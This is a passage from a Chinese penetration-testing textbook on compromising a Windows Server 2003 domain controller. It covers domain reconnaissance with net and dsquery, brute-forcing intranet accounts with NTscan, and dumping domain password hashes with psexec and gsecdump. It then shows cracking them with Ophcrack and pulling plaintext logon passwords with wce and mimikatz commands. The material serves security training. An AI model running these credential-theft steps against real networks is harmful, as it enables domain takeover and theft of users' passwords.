网络攻防实战研究:漏洞利用与提权
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

2.6 Windows Server 2003域控服务器密码获取

域控制器相当于一个门卫,它包含了由这个域的账户、密码、管理策略等信息构成的数据库。当一台计算机登录域时,域控制器首先要鉴别这台计算机是否属于这个域,以及用户使用的登录账号和密码是否正确。如果正确,则允许计算机登录这个域,使用该域内其有权限访问的任何资源,例如文件服务器、打印服务器(也就是说,域控制器仅起到一个验证作用,访问其他资源并不需要再跟域控制器扯上关系);如果不正确,则不允许计算机登录,这时计算机将无法访问域内的任何资源,这在一定程度上保护了企业的网络资源。域服务器的作用如下。

·安全集中管理,统一安全策略。

·软件集中管理,按照公司要求限定所有机器只能运行必需的办公软件。

·环境集中管理,利用AD可以统一客户端桌面、IE、TCP/IP等的设置。

·活动目录是企业基础架构的根本,是公司整体统一管理的基础,ISA、Exchange、防病毒服务器、补丁分发服务器、文件服务器等服务依赖于域服务器。

域控服务器是网络安全渗透的重点对象,获取了域控服务器的权限,就意味着掌控了整个网络的资源和权限。在渗透过程中,获取域控服务器用户账号和密码是最基础和必需的一步。本节将就域控渗透思路、内网渗透常见命令及域控用户账号和密码的获取进行探讨。

2.6.1 域控服务器渗透思路

有关域控渗透思路,仁者见仁,智者见智,笔者就实际工作经验总结如下。

·寻找网络入口,获取域控用户权限,通过用户获取域控管理员信息。针对域控管理员开展个人主机渗透或者社会工程学攻击,获取域管理员个人主机权限,进而获取域控服务器权限。

·获取域控服务器内某一台Web服务器或者其他服务器的权限。在获取网络中某一台服务器的权限后,通过获取该服务器的用户账号和密码,对整个内网通过NTscan等工具进行账号的暴力破解,以获取域控服务器权限。

总之,在内网渗透中需要对各种信息进行收集和研判,通过已有信息进行大胆的推断和渗透测试,不断扩大权限,最终获取域控服务器权限。

2.6.2 内网域控服务器渗透常见命令

1.本机信息收集命令

·用户列表(Windows用户列表、邮件用户等):分析Windows用户列表,一定不要忽略administrator;分析邮件用户,内网/域邮件用户通常就是内网/域用户,例如owa。

·进程列表:分析杀毒软件/安全监控工具、邮件客户端、VPN等。

·服务列表:与安全防范工具有关的服务(判断是否可以手动开关等),存在问题的服务(权限/漏洞)。

·端口列表:开放端口对应的常见服务/应用程序(匿名/权限/漏洞等),利用端口进行信息收集,建议深入挖掘(NETBIOS、SMB等)。

·补丁列表:分析Windows补丁、第三方软件(Java/Oracle/Flash等)的漏洞。

·本机共享(域内共享在很多时候是相同的):本机共享列表/访问权限,本机访问的域共享/访问权限。

·本地用户习惯分析:历史记录、收藏夹、文档等,特别是远程终端、PUTTY、FTP及SSH等。有些用户喜欢在本地保存登录密码,通过客户端可以直接登录。

2.常见信息收集命令

·查询本机用户列表:net user。

·查询本机管理员(通常含有域用户):net localhroup administrators。

·查询域管理员用户:net group "domain admins"/domain。

·查询域用户:net user/domain。

·查询域里面的工作组:net group/domain。

·查询域名称:net view/domain。

·查询域内计算机:net view/domain:XX。

·查询域控制器:net time/domain。

·查询域管理员用户组:net localgroup administrators/domain。

·将域用户添加到本机:net localgroup administrators workgroup\user001/add。

·查看域控制器(如果有多台):net group "Domain controllers"。

·查询本机IP段、所在域等:ipconfig/all。

·查询同一域内的机器列表:net view。

·查询所有域控制器:dsquery server。例如,“dsquery server-domain super.com | dsget server-dnsname-site”用于搜索域内所有域控制器并显示它们的DNS主机名和站点名称。

·查询域内计算机:dsquery computer。例如,“dsquery computer domainroot-name admin*-limit 10”用于搜索域内名称以“admin”开头的10台机器。

·查询域用户:dsquery user。例如,“dsquery user domainroot-name admin*-limit 10”用于搜索域内以“admin”开头的10个用户。

·查询域内联系人:dsquery contact。例如,“dsquery contact domainroot-name admin*-limit 10”用于搜索域内以“admin”开头的10个联系人。

·查询域内子网:dsquery subnet。

·查询域内用户组:dsquery group。例如,“dsquery group dc=super, dc=com |more”用于搜索在“dc=super, dc=com”域中的所有组。

·查询域内组织单位:dsquery ou。

·查询域内站点:dsquery site。例如,“dsquery site-o rdn”用于搜索域中所有站点的名称。

·查询域内所有计算机:net group "domain computers"/domain。-limit参数不指定查询数量,则默认显示前100条结果;“dsquery computer-inactive 4”用于查询超过4周未登录的计算机;“dsquery user-inactive 4”用于查询超过4周未登录的用户;“dsquery computer "ou=xx, dc=xx, dc=com"”用于通过组织单位查询计算机。

2.6.3 域控服务器用户账号和密码获取实例

(1)获取IP地址配置信息

打开命令提示符窗口,如图2-48所示,输入“ipconfig/all”命令,查看该服务器IP地址等信息,通过该信息来探测是否存在域控服务器。如果存在内部域控,在DNS服务器中一定会有内部IP地址,例如10.168.10.1。

图2-48 获取网络配置情况

(2)查看域控情况

通过“net view”命令查看显示当前域的计算机列表,在本例中发现仅存在1台服务器,如图2-49所示。通过“net view”命令可以显示域列表、计算机列表或指定计算机的共享资源列表。“net view [\\ComputerName] [/domain[:DomainName]]”命令用于指定要查看其可用计算机的域。如果省略“DomainName”,使用“/domain”,将显示网络上的所有域。在本例中输入命令“net view/domain”,可知该网络中存在两个域,分别是ITEDT47和WORKGROUP,如图2-50所示。

图2-49 显示当前域的计算机列表

图2-50 获取当前域控名称

(3)登录域控服务器

在本例中,通过NTscan工具,用已经获取的Web服务器管理员密码和用户密码对网段10.168.10.1-254进行扫描,获取了IP地址为10.168.10.3的域控服务器的用户名和密码。通过远程终端登录该服务器,如图2-51所示。

图2-51 获取域控服务器权限

(4)获取域控服务器用户密码

将psexec、gsecdump等工具上传到域控服务器。执行“psexec\\\127.0.0.1 cmd”命令获取system权限,然后到工具目录下执行“gsecdump-s>all.txt”命令,将用户密码Hash值全部导出到all.txt文件中,代码如下,运行情况如图2-52所示。gsecdump_v2.0b5的下载地址为http://www.truesec.com/Tools/Tool/gsecdump_v2.0b5

图2-52 获取域控服务器用户密码

        usage: gsecdump [options]
        options:
          -a [ --dump_all ]        dump all secrets
          -s [ --dump_hashes ]     dump hashes from SAM/AD
          -l [ --dump_lsa ]        dump lsa secrets
          -u [ --dump_usedhashes ]  dump hashes from active logon sessions
          -w [ --dump_wireless ]   dump microsoft wireless connections
          -h [ --help ]           show help
          -S [ --system ]          run as localsystem

(5)查看并整理域控用户密码

通过“记事本”等程序打开all.txt,将IUSR、IWAM及末尾含有“$”符号的用户全部删除。例如,IUSR_FS02T47E(current)、IWAM_FS02T47E(current)、RM103-2$(current)等密码都是无用密码,如图2-53所示。

图2-53 查看和清理域控用户密码

(6)破解域控用户密码

将整理好的文件导入Ophcrack中进行破解,如图2-54所示,可以快速获得域控用户的密码。

图2-54 破解域控密码

技巧

在有些情况下,由于管理员设置了超过14位的密码,所以通过gsecdump获取的Hash值无法用Ophcrace进行破解,这时可以用wce进行破解。执行“wce-w”命令直接获取登录用户的明文密码,如图2-55所示。

图2-55 获取登录用户的明文密码

还可以通过mimikatz程序获取系统登录时曾经使用的明文密码,命令如下。

        mimikatz
        privilege::debug
        sekurlsa::logonpasswords